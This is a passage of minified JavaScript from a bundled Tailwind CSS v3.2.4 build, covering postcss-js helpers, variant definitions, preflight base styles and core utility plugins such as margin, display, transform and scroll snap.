n)t[i.selector][s]=n[s];else t[i.selector]=n}else if(i.type==="decl"){i.prop[0]==="-"&&i.prop[1]==="-"?e=i.prop:e=Mk(i.prop);let n=i.value;!isNaN(i.value)&&Fk[e]&&(n=parseFloat(i.value)),i.important&&(n+=" !important"),typeof t[e]=="undefined"?t[e]=n:Array.isArray(t[e])?t[e].push(n):t[e]=[t[e],n]}}),t}vp.exports=Oa});var tn=v((s5,Cp)=>{l();var Wr=me(),xp=/\s*!important\s*$/i,Nk={"box-flex":!0,"box-flex-group":!0,"column-count":!0,flex:!0,"flex-grow":!0,"flex-positive":!0,"flex-shrink":!0,"flex-negative":!0,"font-weight":!0,"line-clamp":!0,"line-height":!0,opacity:!0,order:!0,orphans:!0,"tab-size":!0,widows:!0,"z-index":!0,zoom:!0,"fill-opacity":!0,"stroke-dashoffset":!0,"stroke-opacity":!0,"stroke-width":!0};function Lk(r){return r.replace(/([A-Z])/g,"-$1").replace(/^ms-/,"-ms-").toLowerCase()}function kp(r,e,t){t===!1||t===null||(e.startsWith("--")||(e=Lk(e)),typeof t=="number"&&(t===0||Nk[e]?t=t.toString():t+="px"),e==="css-float"&&(e="float"),xp.test(t)?(t=t.replace(xp,""),r.push(Wr.decl({prop:e,value:t,important:!0}))):r.push(Wr.decl({prop:e,value:t})))}function Sp(r,e,t){let i=Wr.atRule({name:e[1],params:e[3]||""});typeof t=="object"&&(i.nodes=[],Ta(t,i)),r.push(i)}function Ta(r,e){let t,i,n;for(t in r)if(i=r[t],!(i===null||typeof i=="undefined"))if(t[0]==="@"){let s=t.match(/@(\S+)(\s+([\W\w]*)\s*)?/);if(Array.isArray(i))for(let a of i)Sp(e,s,a);else Sp(e,s,i)}else if(Array.isArray(i))for(let s of i)kp(e,t,s);else typeof i=="object"?(n=Wr.rule({selector:t}),Ta(i,n),e.push(n)):kp(e,t,i)}Cp.exports=function(r){let e=Wr.root();return Ta(r,e),e}});var Pa=v((a5,_p)=>{l();var Bk=Ea();_p.exports=function(e){return console&&console.warn&&e.warnings().forEach(t=>{let i=t.plugin||"PostCSS";console.warn(i+": "+t.text)}),Bk(e.root)}});var Op=v((o5,Ap)=>{l();var $k=me(),zk=Pa(),jk=tn();Ap.exports=function(e){let t=$k(e);return async i=>{let n=await t.process(i,{parser:jk,from:void 0});return zk(n)}}});var Tp=v((l5,Ep)=>{l();var Vk=me(),Uk=Pa(),Wk=tn();Ep.exports=function(r){let e=Vk(r);return t=>{let i=e.process(t,{parser:Wk,from:void 0});return Uk(i)}}});var Dp=v((u5,Pp)=>{l();var Gk=Ea(),Hk=tn(),Yk=Op(),Qk=Tp();Pp.exports={objectify:Gk,parse:Hk,async:Yk,sync:Qk}});var Tt,qp,f5,c5,p5,d5,Ip=A(()=>{l();Tt=J(Dp()),qp=Tt.default,f5=Tt.default.objectify,c5=Tt.default.parse,p5=Tt.default.async,d5=Tt.default.sync});function Pt(r){return Array.isArray(r)?r.flatMap(e=>j([(0,Rp.default)({bubble:["screen"]})]).process(e,{parser:qp}).root.nodes):Pt([r])}var Rp,Da=A(()=>{l();Ze();Rp=J(mp());Ip()});function Dt(r,e,t=!1){return(0,Mp.default)(i=>{i.walkClasses(n=>{let s=n.value,a=t&&s.startsWith("-");n.value=a?`-${r}${s.slice(1)}`:`${r}${s}`})}).processSync(e)}var Mp,rn=A(()=>{l();Mp=J(De())});function ve(r){let e=Fp.default.className();return e.value=r,pt(e?.raws?.value??e.value)}var Fp,qt=A(()=>{l();Fp=J(De());Si()});function qa(r){return pt(`.${ve(r)}`)}function nn(r,e){return qa(Gr(r,e))}function Gr(r,e){return e==="DEFAULT"?r:e==="-"||e==="-DEFAULT"?`-${r}`:e.startsWith("-")?`-${r}${e}`:e.startsWith("/")?`${r}${e}`:`${r}-${e}`}var Ia=A(()=>{l();qt();Si()});function T(r,e=[[r,[r]]],{filterDefault:t=!1,...i}={}){let n=je(r);return function({matchUtilities:s,theme:a}){for(let o of e){let u=Array.isArray(o[0])?o:[o];s(u.reduce((c,[f,p])=>Object.assign(c,{[f]:h=>p.reduce((d,y)=>Array.isArray(y)?Object.assign(d,{[y[0]]:y[1]}):Object.assign(d,{[y]:n(h)}),{})}),{}),{...i,values:t?Object.fromEntries(Object.entries(a(r)??{}).filter(([c])=>c!=="DEFAULT")):a(r)})}}}var Np=A(()=>{l();Ur()});function et(r){return r=Array.isArray(r)?r:[r],r.map(e=>{let t=e.values.map(i=>i.raw!==void 0?i.raw:[i.min&&`(min-width: ${i.min})`,i.max&&`(max-width: ${i.max})`].filter(Boolean).join(" and "));return e.not?`not all and ${t}`:t}).join(", ")}var sn=A(()=>{l()});function Ra(r){return r.split(rS).map(t=>{let i=t.trim(),n={value:i},s=i.split(iS),a=new Set;for(let o of s)!a.has("DIRECTIONS")&&Jk.has(o)?(n.direction=o,a.add("DIRECTIONS")):!a.has("PLAY_STATES")&&Xk.has(o)?(n.playState=o,a.add("PLAY_STATES")):!a.has("FILL_MODES")&&Kk.has(o)?(n.fillMode=o,a.add("FILL_MODES")):!a.has("ITERATION_COUNTS")&&(Zk.has(o)||nS.test(o))?(n.iterationCount=o,a.add("ITERATION_COUNTS")):!a.has("TIMING_FUNCTION")&&eS.has(o)||!a.has("TIMING_FUNCTION")&&tS.some(u=>o.startsWith(`${u}(`))?(n.timingFunction=o,a.add("TIMING_FUNCTION")):!a.has("DURATION")&&Lp.test(o)?(n.duration=o,a.add("DURATION")):!a.has("DELAY")&&Lp.test(o)?(n.delay=o,a.add("DELAY")):a.has("NAME")?(n.unknown||(n.unknown=[]),n.unknown.push(o)):(n.name=o,a.add("NAME"));return n})}var Jk,Xk,Kk,Zk,eS,tS,rS,iS,Lp,nS,Bp=A(()=>{l();Jk=new Set(["normal","reverse","alternate","alternate-reverse"]),Xk=new Set(["running","paused"]),Kk=new Set(["none","forwards","backwards","both"]),Zk=new Set(["infinite"]),eS=new Set(["linear","ease","ease-in","ease-out","ease-in-out","step-start","step-end"]),tS=["cubic-bezier","steps"],rS=/\,(?![^(]*\))/g,iS=/\ +(?![^(]*\))/g,Lp=/^(-?[\d.]+m?s)$/,nS=/^(\d+)$/});var $p,Z,zp=A(()=>{l();$p=r=>Object.assign({},...Object.entries(r??{}).flatMap(([e,t])=>typeof t=="object"?Object.entries($p(t)).map(([i,n])=>({[e+(i==="DEFAULT"?"":`-${i}`)]:n})):[{[`${e}`]:t}])),Z=$p});var Vp,jp=A(()=>{Vp="3.2.4"});function tt(r,e=!0){return Array.isArray(r)?r.map(t=>{if(e&&Array.isArray(t))throw new Error("The tuple syntax is not supported for `screens`.");if(typeof t=="string")return{name:t.toString(),not:!1,values:[{min:t,max:void 0}]};let[i,n]=t;return i=i.toString(),typeof n=="string"?{name:i,not:!1,values:[{min:n,max:void 0}]}:Array.isArray(n)?{name:i,not:!1,values:n.map(s=>Wp(s))}:{name:i,not:!1,values:[Wp(n)]}}):tt(Object.entries(r??{}),!1)}function an(r){return r.values.length!==1?{result:!1,reason:"multiple-values"}:r.values[0].raw!==void 0?{result:!1,reason:"raw-values"}:r.values[0].min!==void 0&&r.values[0].max!==void 0?{result:!1,reason:"min-and-max"}:{result:!0,reason:null}}function Up(r,e,t){let i=on(e,r),n=on(t,r),s=an(i),a=an(n);if(s.reason==="multiple-values"||a.reason==="multiple-values")throw new Error("Attempted to sort a screen with multiple values. This should never happen. Please open a bug report.");if(s.reason==="raw-values"||a.reason==="raw-values")throw new Error("Attempted to sort a screen with raw values. This should never happen. Please open a bug report.");if(s.reason==="min-and-max"||a.reason==="min-and-max")throw new Error("Attempted to sort a screen with both min and max values. This should never happen. Please open a bug report.");let{min:o,max:u}=i.values[0],{min:c,max:f}=n.values[0];e.not&&([o,u]=[u,o]),t.not&&([c,f]=[f,c]),o=o===void 0?o:parseFloat(o),u=u===void 0?u:parseFloat(u),c=c===void 0?c:parseFloat(c),f=f===void 0?f:parseFloat(f);let[p,h]=r==="min"?[o,c]:[f,u];return p-h}function on(r,e){return typeof r=="object"?r:{name:"arbitrary-screen",values:[{[e]:r}]}}function Wp({"min-width":r,min:e=r,max:t,raw:i}={}){return{min:e,max:t,raw:i}}var ln=A(()=>{l()});function un(r,e){r.walkDecls(t=>{if(e.includes(t.prop)){t.remove();return}for(let i of e)t.value.includes(`/ var(${i})`)&&(t.value=t.value.replace(`/ var(${i})`,""))})}var Gp=A(()=>{l()});var ue,Ee,Re,Me,Hp,Yp=A(()=>{l();Ge();lt();Ze();Np();sn();qt();Bp();zp();Cr();Gs();wt();Ur();jp();Ae();ln();Bs();Gp();$e();Er();ue={pseudoElementVariants:({addVariant:r})=>{r("first-letter","&::first-letter"),r("first-line","&::first-line"),r("marker",[({container:e})=>(un(e,["--tw-text-opacity"]),"& *::marker"),({container:e})=>(un(e,["--tw-text-opacity"]),"&::marker")]),r("selection",["& *::selection","&::selection"]),r("file","&::file-selector-button"),r("placeholder","&::placeholder"),r("backdrop","&::backdrop"),r("before",({container:e})=>(e.walkRules(t=>{let i=!1;t.walkDecls("content",()=>{i=!0}),i||t.prepend(j.decl({prop:"content",value:"var(--tw-content)"}))}),"&::before")),r("after",({container:e})=>(e.walkRules(t=>{let i=!1;t.walkDecls("content",()=>{i=!0}),i||t.prepend(j.decl({prop:"content",value:"var(--tw-content)"}))}),"&::after"))},pseudoClassVariants:({addVariant:r,matchVariant:e,config:t})=>{let i=[["first","&:first-child"],["last","&:last-child"],["only","&:only-child"],["odd","&:nth-child(odd)"],["even","&:nth-child(even)"],"first-of-type","last-of-type","only-of-type",["visited",({container:s})=>(un(s,["--tw-text-opacity","--tw-border-opacity","--tw-bg-opacity"]),"&:visited")],"target",["open","&[open]"],"default","checked","indeterminate","placeholder-shown","autofill","optional","required","valid","invalid","in-range","out-of-range","read-only","empty","focus-within",["hover",K(t(),"hoverOnlyWhenSupported")?"@media (hover: hover) and (pointer: fine) { &:hover }":"&:hover"],"focus","focus-visible","active","enabled","disabled"].map(s=>Array.isArray(s)?s:[s,`&:${s}`]);for(let[s,a]of i)r(s,o=>typeof a=="function"?a(o):a);let n={group:(s,{modifier:a})=>a?[`:merge(.group\\/${a})`," &"]:[":merge(.group)"," &"],peer:(s,{modifier:a})=>a?[`:merge(.peer\\/${a})`," ~ &"]:[":merge(.peer)"," ~ &"]};for(let[s,a]of Object.entries(n))e(s,(o="",u)=>{let c=H(typeof o=="function"?o(u):o);c.includes("&")||(c="&"+c);let[f,p]=a("",u);return c.replace(/&(\S+)?/g,(h,d="")=>f+d+p)},{values:Object.fromEntries(i)})},directionVariants:({addVariant:r})=>{r("ltr",()=>(N.warn("rtl-experimental",["The RTL features in Tailwind CSS are currently in preview.","Preview features are not covered by semver, and may be improved in breaking ways at any time."]),'[dir="ltr"] &')),r("rtl",()=>(N.warn("rtl-experimental",["The RTL features in Tailwind CSS are currently in preview.","Preview features are not covered by semver, and may be improved in breaking ways at any time."]),'[dir="rtl"] &'))},reducedMotionVariants:({addVariant:r})=>{r("motion-safe","@media (prefers-reduced-motion: no-preference)"),r("motion-reduce","@media (prefers-reduced-motion: reduce)")},darkVariants:({config:r,addVariant:e})=>{let[t,i=".dark"]=[].concat(r("darkMode","media"));t===!1&&(t="media",N.warn("darkmode-false",["The `darkMode` option in your Tailwind CSS configuration is set to `false`, which now behaves the same as `media`.","Change `darkMode` to `media` or remove it entirely.","https://tailwindcss.com/docs/upgrade-guide#remove-dark-mode-configuration"])),t==="class"?e("dark",`${i} &`):t==="media"&&e("dark","@media (prefers-color-scheme: dark)")},printVariant:({addVariant:r})=>{r("print","@media print")},screenVariants:({theme:r,addVariant:e,matchVariant:t})=>{let i=r("screens")??{},n=Object.values(i).every(b=>typeof b=="string"),s=tt(r("screens")),a=new Set([]);function o(b){return b.match(/(\D+)$/)?.[1]??"(none)"}function u(b){b!==void 0&&a.add(o(b))}function c(b){return u(b),a.size===1}for(let b of s)for(let x of b.values)u(x.min),u(x.max);let f=a.size<=1;function p(b){return Object.fromEntries(s.filter(x=>an(x).result).map(x=>{let{min:S,max:_}=x.values[0];if(b==="min"&&S!==void 0)return x;if(b==="min"&&_!==void 0)return{...x,not:!x.not};if(b==="max"&&_!==void 0)return x;if(b==="max"&&S!==void 0)return{...x,not:!x.not}}).map(x=>[x.name,x]))}function h(b){return(x,S)=>Up(b,x.value,S.value)}let d=h("max"),y=h("min");function k(b){return x=>{if(n)if(f){if(typeof x=="string"&&!c(x))return N.warn("minmax-have-mixed-units",["The `min-*` and `max-*` variants are not supported with a `screens` configuration containing mixed units."]),[]}else return N.warn("mixed-screen-units",["The `min-*` and `max-*` variants are not supported with a `screens` configuration containing mixed units."]),[];else return N.warn("complex-screen-config",["The `min-*` and `max-*` variants are not supported with a `screens` configuration containing objects."]),[];return[`@media ${et(on(x,b))}`]}}t("max",k("max"),{sort:d,values:n?p("max"):{}});let w="min-screens";for(let b of s)e(b.name,`@media ${et(b)}`,{id:w,sort:n&&f?y:void 0,value:b});t("min",k("min"),{id:w,sort:y})},supportsVariants:({matchVariant:r,theme:e})=>{r("supports",(t="")=>{let i=H(t),n=/^\w*\s*\(/.test(i);return i=n?i.replace(/\b(and|or|not)\b/g," $1 "):i,n?`@supports ${i}`:(i.includes(":")||(i=`${i}: var(--tw)`),i.startsWith("(")&&i.endsWith(")")||(i=`(${i})`),`@supports ${i}`)},{values:e("supports")??{}})},ariaVariants:({matchVariant:r,theme:e})=>{r("aria",t=>`&[aria-${H(t)}]`,{values:e("aria")??{}}),r("group-aria",(t,{modifier:i})=>i?`:merge(.group\\/${i})[aria-${H(t)}] &`:`:merge(.group)[aria-${H(t)}] &`,{values:e("aria")??{}}),r("peer-aria",(t,{modifier:i})=>i?`:merge(.peer\\/${i})[aria-${H(t)}] ~ &`:`:merge(.peer)[aria-${H(t)}] ~ &`,{values:e("aria")??{}})},dataVariants:({matchVariant:r,theme:e})=>{r("data",t=>`&[data-${H(t)}]`,{values:e("data")??{}}),r("group-data",(t,{modifier:i})=>i?`:merge(.group\\/${i})[data-${H(t)}] &`:`:merge(.group)[data-${H(t)}] &`,{values:e("data")??{}}),r("peer-data",(t,{modifier:i})=>i?`:merge(.peer\\/${i})[data-${H(t)}] ~ &`:`:merge(.peer)[data-${H(t)}] ~ &`,{values:e("data")??{}})},orientationVariants:({addVariant:r})=>{r("portrait","@media (orientation: portrait)"),r("landscape","@media (orientation: landscape)")},prefersContrastVariants:({addVariant:r})=>{r("contrast-more","@media (prefers-contrast: more)"),r("contrast-less","@media (prefers-contrast: less)")}},Ee=["translate(var(--tw-translate-x), var(--tw-translate-y))","rotate(var(--tw-rotate))","skewX(var(--tw-skew-x))","skewY(var(--tw-skew-y))","scaleX(var(--tw-scale-x))","scaleY(var(--tw-scale-y))"].join(" "),Re=["var(--tw-blur)","var(--tw-brightness)","var(--tw-contrast)","var(--tw-grayscale)","var(--tw-hue-rotate)","var(--tw-invert)","var(--tw-saturate)","var(--tw-sepia)","var(--tw-drop-shadow)"].join(" "),Me=["var(--tw-backdrop-blur)","var(--tw-backdrop-brightness)","var(--tw-backdrop-contrast)","var(--tw-backdrop-grayscale)","var(--tw-backdrop-hue-rotate)","var(--tw-backdrop-invert)","var(--tw-backdrop-opacity)","var(--tw-backdrop-saturate)","var(--tw-backdrop-sepia)"].join(" "),Hp={preflight:({addBase:r})=>{let e=j.parse(`*,::after,::before{box-sizing:border-box;border-width:0;border-style:solid;border-color:theme('borderColor.DEFAULT', currentColor)}::after,::before{--tw-content:''}html{line-height:1.5;-webkit-text-size-adjust:100%;-moz-tab-size:4;tab-size:4;font-family:theme('fontFamily.sans', ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji");font-feature-settings:theme('fontFamily.sans[1].fontFeatureSettings', normal)}body{margin:0;line-height:inherit}hr{height:0;color:inherit;border-top-width:1px}abbr:where([title]){text-decoration:underline dotted}h1,h2,h3,h4,h5,h6{font-size:inherit;font-weight:inherit}a{color:inherit;text-decoration:inherit}b,strong{font-weight:bolder}code,kbd,pre,samp{font-family:theme('fontFamily.mono', ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace);font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}table{text-indent:0;border-color:inherit;border-collapse:collapse}button,input,optgroup,select,textarea{font-family:inherit;font-size:100%;font-weight:inherit;line-height:inherit;color:inherit;margin:0;padding:0}button,select{text-transform:none}[type=button],[type=reset],[type=submit],button{-webkit-appearance:button;background-color:transparent;background-image:none}:-moz-focusring{outline:auto}:-moz-ui-invalid{box-shadow:none}progress{vertical-align:baseline}::-webkit-inner-spin-button,::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}summary{display:list-item}blockquote,dd,dl,figure,h1,h2,h3,h4,h5,h6,hr,p,pre{margin:0}fieldset{margin:0;padding:0}legend{padding:0}menu,ol,ul{list-style:none;margin:0;padding:0}textarea{resize:vertical}input::placeholder,textarea::placeholder{opacity:1;color:theme('colors.gray.4', #9ca3af)}[role=button],button{cursor:pointer}:disabled{cursor:default}audio,canvas,embed,iframe,img,object,svg,video{display:block;vertical-align:middle}img,video{max-width:100%;height:auto}[hidden]{display:none}`);r([j.comment({text:`! tailwindcss v${Vp} | MIT License | https://tailwindcss.com`}),...e.nodes])},container:(()=>{function r(t=[]){return t.flatMap(i=>i.values.map(n=>n.min)).filter(i=>i!==void 0)}function e(t,i,n){if(typeof n=="undefined")return[];if(!(typeof n=="object"&&n!==null))return[{screen:"DEFAULT",minWidth:0,padding:n}];let s=[];n.DEFAULT&&s.push({screen:"DEFAULT",minWidth:0,padding:n.DEFAULT});for(let a of t)for(let o of i)for(let{min:u}of o.values)u===a&&s.push({minWidth:a,padding:n[o.name]});return s}return function({addComponents:t,theme:i}){let n=tt(i("container.screens",i("screens"))),s=r(n),a=e(s,n,i("container.padding")),o=c=>{let f=a.find(p=>p.minWidth===c);return f?{paddingRight:f.padding,paddingLeft:f.padding}:{}},u=Array.from(new Set(s.slice().sort((c,f)=>parseInt(c)-parseInt(f)))).map(c=>({[`@media (min-width: ${c})`]:{".container":{"max-width":c,...o(c)}}}));t([{".container":Object.assign({width:"100%"},i("container.center",!1)?{marginRight:"auto",marginLeft:"auto"}:{},o(0))},...u])}})(),accessibility:({addUtilities:r})=>{r({".sr-only":{position:"absolute",width:"1px",height:"1px",padding:"0",margin:"-1px",overflow:"hidden",clip:"rect(0, 0, 0, 0)",whiteSpace:"nowrap",borderWidth:"0"},".not-sr-only":{position:"static",width:"auto",height:"auto",padding:"0",margin:"0",overflow:"visible",clip:"auto",whiteSpace:"normal"}})},pointerEvents:({addUtilities:r})=>{r({".pointer-events-none":{"pointer-events":"none"},".pointer-events-auto":{"pointer-events":"auto"}})},visibility:({addUtilities:r})=>{r({".visible":{visibility:"visible"},".invisible":{visibility:"hidden"},".collapse":{visibility:"collapse"}})},position:({addUtilities:r})=>{r({".static":{position:"static"},".fixed":{position:"fixed"},".absolute":{position:"absolute"},".relative":{position:"relative"},".sticky":{position:"sticky"}})},inset:T("inset",[["inset",["top","right","bottom","left"]],[["inset-x",["left","right"]],["inset-y",["top","bottom"]]],[["top",["top"]],["right",["right"]],["bottom",["bottom"]],["left",["left"]]]],{supportsNegativeValues:!0}),isolation:({addUtilities:r})=>{r({".isolate":{isolation:"isolate"},".isolation-auto":{isolation:"auto"}})},zIndex:T("zIndex",[["z",["zIndex"]]],{supportsNegativeValues:!0}),order:T("order",void 0,{supportsNegativeValues:!0}),gridColumn:T("gridColumn",[["col",["gridColumn"]]]),gridColumnStart:T("gridColumnStart",[["col-start",["gridColumnStart"]]]),gridColumnEnd:T("gridColumnEnd",[["col-end",["gridColumnEnd"]]]),gridRow:T("gridRow",[["row",["gridRow"]]]),gridRowStart:T("gridRowStart",[["row-start",["gridRowStart"]]]),gridRowEnd:T("gridRowEnd",[["row-end",["gridRowEnd"]]]),float:({addUtilities:r})=>{r({".float-right":{float:"right"},".float-left":{float:"left"},".float-none":{float:"none"}})},clear:({addUtilities:r})=>{r({".clear-left":{clear:"left"},".clear-right":{clear:"right"},".clear-both":{clear:"both"},".clear-none":{clear:"none"}})},margin:T("margin",[["m",["margin"]],[["mx",["margin-left","margin-right"]],["my",["margin-top","margin-bottom"]]],[["mt",["margin-top"]],["mr",["margin-right"]],["mb",["margin-bottom"]],["ml",["margin-left"]]]],{supportsNegativeValues:!0}),boxSizing:({addUtilities:r})=>{r({".box-border":{"box-sizing":"border-box"},".box-content":{"box-sizing":"content-box"}})},display:({addUtilities:r})=>{r({".block":{display:"block"},".inline-block":{display:"inline-block"},".inline":{display:"inline"},".flex":{display:"flex"},".inline-flex":{display:"inline-flex"},".table":{display:"table"},".inline-table":{display:"inline-table"},".table-caption":{display:"table-caption"},".table-cell":{display:"table-cell"},".table-column":{display:"table-column"},".table-column-group":{display:"table-column-group"},".table-footer-group":{display:"table-footer-group"},".table-header-group":{display:"table-header-group"},".table-row-group":{display:"table-row-group"},".table-row":{display:"table-row"},".flow-root":{display:"flow-root"},".grid":{display:"grid"},".inline-grid":{display:"inline-grid"},".contents":{display:"contents"},".list-item":{display:"list-item"},".hidden":{display:"none"}})},aspectRatio:T("aspectRatio",[["aspect",["aspect-ratio"]]]),height:T("height",[["h",["height"]]]),maxHeight:T("maxHeight",[["max-h",["maxHeight"]]]),minHeight:T("minHeight",[["min-h",["minHeight"]]]),width:T("width",[["w",["width"]]]),minWidth:T("minWidth",[["min-w",["minWidth"]]]),maxWidth:T("maxWidth",[["max-w",["maxWidth"]]]),flex:T("flex"),flexShrink:T("flexShrink",[["flex-shrink",["flex-shrink"]],["shrink",["flex-shrink"]]]),flexGrow:T("flexGrow",[["flex-grow",["flex-grow"]],["grow",["flex-grow"]]]),flexBasis:T("flexBasis",[["basis",["flex-basis"]]]),tableLayout:({addUtilities:r})=>{r({".table-auto":{"table-layout":"auto"},".table-fixed":{"table-layout":"fixed"}})},borderCollapse:({addUtilities:r})=>{r({".border-collapse":{"border-collapse":"collapse"},".border-separate":{"border-collapse":"separate"}})},borderSpacing:({addDefaults:r,matchUtilities:e,theme:t})=>{r("border-spacing",{"--tw-border-spacing-x":0,"--tw-border-spacing-y":0}),e({"border-spacing":i=>({"--tw-border-spacing-x":i,"--tw-border-spacing-y":i,"@defaults border-spacing":{},"border-spacing":"var(--tw-border-spacing-x) var(--tw-border-spacing-y)"}),"border-spacing-x":i=>({"--tw-border-spacing-x":i,"@defaults border-spacing":{},"border-spacing":"var(--tw-border-spacing-x) var(--tw-border-spacing-y)"}),"border-spacing-y":i=>({"--tw-border-spacing-y":i,"@defaults border-spacing":{},"border-spacing":"var(--tw-border-spacing-x) var(--tw-border-spacing-y)"})},{values:t("borderSpacing")})},transformOrigin:T("transformOrigin",[["origin",["transformOrigin"]]]),translate:T("translate",[[["translate-x",[["@defaults transform",{}],"--tw-translate-x",["transform",Ee]]],["translate-y",[["@defaults transform",{}],"--tw-translate-y",["transform",Ee]]]]],{supportsNegativeValues:!0}),rotate:T("rotate",[["rotate",[["@defaults transform",{}],"--tw-rotate",["transform",Ee]]]],{supportsNegativeValues:!0}),skew:T("skew",[[["skew-x",[["@defaults transform",{}],"--tw-skew-x",["transform",Ee]]],["skew-y",[["@defaults transform",{}],"--tw-skew-y",["transform",Ee]]]]],{supportsNegativeValues:!0}),scale:T("scale",[["scale",[["@defaults transform",{}],"--tw-scale-x","--tw-scale-y",["transform",Ee]]],[["scale-x",[["@defaults transform",{}],"--tw-scale-x",["transform",Ee]]],["scale-y",[["@defaults transform",{}],"--tw-scale-y",["transform",Ee]]]]],{supportsNegativeValues:!0}),transform:({addDefaults:r,addUtilities:e})=>{r("transform",{"--tw-translate-x":"0","--tw-translate-y":"0","--tw-rotate":"0","--tw-skew-x":"0","--tw-skew-y":"0","--tw-scale-x":"1","--tw-scale-y":"1"}),e({".transform":{"@defaults transform":{},transform:Ee},".transform-cpu":{transform:Ee},".transform-gpu":{transform:Ee.replace("translate(var(--tw-translate-x), var(--tw-translate-y))","translate3d(var(--tw-translate-x), var(--tw-translate-y), 0)")},".transform-none":{transform:"none"}})},animation:({matchUtilities:r,theme:e,config:t})=>{let i=s=>`${t("prefix")}${ve(s)}`,n=Object.fromEntries(Object.entries(e("keyframes")??{}).map(([s,a])=>[s,{[`@keyframes ${i(s)}`]:a}]));r({animate:s=>{let a=Ra(s);return[...a.flatMap(o=>n[o.name]),{animation:a.map(({name:o,value:u})=>o===void 0||n[o]===void 0?u:u.replace(o,i(o))).join(", ")}]}},{values:e("animation")})},cursor:T("cursor"),touchAction:({addDefaults:r,addUtilities:e})=>{r("touch-action",{"--tw-pan-x":" ","--tw-pan-y":" ","--tw-pinch-zoom":" "});let t="var(--tw-pan-x) var(--tw-pan-y) var(--tw-pinch-zoom)";e({".touch-auto":{"touch-action":"auto"},".touch-none":{"touch-action":"none"},".touch-pan-x":{"@defaults touch-action":{},"--tw-pan-x":"pan-x","touch-action":t},".touch-pan-left":{"@defaults touch-action":{},"--tw-pan-x":"pan-left","touch-action":t},".touch-pan-right":{"@defaults touch-action":{},"--tw-pan-x":"pan-right","touch-action":t},".touch-pan-y":{"@defaults touch-action":{},"--tw-pan-y":"pan-y","touch-action":t},".touch-pan-up":{"@defaults touch-action":{},"--tw-pan-y":"pan-up","touch-action":t},".touch-pan-down":{"@defaults touch-action":{},"--tw-pan-y":"pan-down","touch-action":t},".touch-pinch-zoom":{"@defaults touch-action":{},"--tw-pinch-zoom":"pinch-zoom","touch-action":t},".touch-manipulation":{"touch-action":"manipulation"}})},userSelect:({addUtilities:r})=>{r({".select-none":{"user-select":"none"},".select-text":{"user-select":"text"},".select-all":{"user-select":"all"},".select-auto":{"user-select":"auto"}})},resize:({addUtilities:r})=>{r({".resize-none":{resize:"none"},".resize-y":{resize:"vertical"},".resize-x":{resize:"horizontal"},".resize":{resize:"both"}})},scrollSnapType:({addDefaults:r,addUtilities:e})=>{r("scroll-snap-type",{"--tw-scroll-snap-strictness":"proximity"}),e({".snap-none":{"scroll-snap-type":"none"},".snap-x":{"@defaults scroll-snap-type":{},"scroll-snap-type":"x var(--tw-scroll-snap-strictness)"},".snap-y":{"@defaults scroll-snap-type":{},"scroll-snap-type":"y var(--tw-scroll-snap-strictness)"},".snap-both":{"@defaults scroll-snap-type":{},"scroll-snap-type":"both var(--tw-scroll-snap-strictness)"},".snap-mandatory":{"--tw-scroll-snap-strictness":"mandatory"},".snap-proximity":{"--tw-scroll-snap-strictness":"proximity"}})},scrollSnapAlign:({addUtilities:r})=>{r({".snap-start":{"scroll-snap-align":"start"},".snap-end":{"scroll-snap-align":"end"},".snap-center":{"scroll-snap-align":"center"},".snap-align-none":{"scroll-snap-align":"none"}})},scrollSnapStop:({addUtilities:r})=>{r({".snap-normal":{"scroll-snap-stop":"normal"},".snap-always":{"scroll-snap-stop":"always"}})},scrollMargin:T("scrollMargin",[["scroll-m",["scroll-margin"]],[["scroll-mx",["scroll-margin-left","scroll-margin-right"]],["scroll-my",["scroll-margin-top","scroll-margin-bottom"]]],[["scroll-mt",["scroll-margin-top"]],["scroll-mr",["scroll-margin-right"]],["scroll-mb",["scroll-margin-bottom"]],["scroll-ml",["scroll-margin-left"]]]],{supportsNegativeValues:!0}),scrollPadding:T("scrollPadding",[["scroll-p",["scroll-padding"]],[["scroll-px",["scroll-padding-left","scroll-padding-right"]],["scroll-py",["scroll-padding-top","scroll-padding-bottom"]]],[["scroll-pt",["scroll-padding-top"]],["scroll-pr",["scroll-padding-right"]],["scroll-pb",["scroll-padding-bottom"]],["scroll-pl",["scroll-padding-left"]]]]),listStylePosition:({addUtilities:r})=>{r({".list-inside":{"list-style-position":"inside"},".list-outside":{"list-style-position":"outside"}})},listStyleType:T("listStyleType",[["list",["listStyleType"]]]),appearance:({addUtilities:r})=>{r({".appearance-none":{appearance:"none"}})},columns:T("columns",[["columns",["columns"]]]),breakBefore:({addUtilities:r})=>{r({".break-before-auto":{"break-before":"auto"},".break-before-avoid":{"break-before":"avoid"},".break-before-all":{"break-before":"all"},".break-before-avoid-page":{"break-before":"avoid-page"},".break-before-page":{"break-before":"page"},".break-before-left":{"break-before":"left"},".break-before-right":{"break-before":"right"},".break-before-column":{"break-before":"column"}})},breakInside:({addUtilities:r})=>{r({".break-inside-auto":{"break-inside":"auto"},".break-inside-avoid":{"break-inside":"avoid"},".break-inside-avoid-page":{"break-inside":"avoid-page"},".break-inside-avoid-column":{"break-inside":"avoid-column"}})},breakAfter:({addUtilities:r})=>{r({".break-after-auto":{"break-after":"auto"},".break-after-avoid":{"break-after":"avoid"},".break-after-all":{"break-after":"all"},".break-after-avoid-page":{"break-after":"avoid-page"},".break-after-page":{"break-after":"page"},".break-after-left":{"break-after":"left"},".break-after-right":{"break-after":"right"},".break-after-column":{"break-after":"column"}})},gridAutoColumns:T("gridAutoColumns",[["auto-cols",["gridAutoColumns"]]]),gridAutoFlow:({addUtilities:r})=>{r({".grid-flow-row":{gridAutoFlow:"row"},".grid-flow-col":{gridAutoFlow:"column"},".grid-flow-dense":{gridAutoFlow:"dense"},".grid-flow-row-dense":{gridAutoFlow:"row dense"},".grid-flow-col-dense":{gridAutoFlow:"column 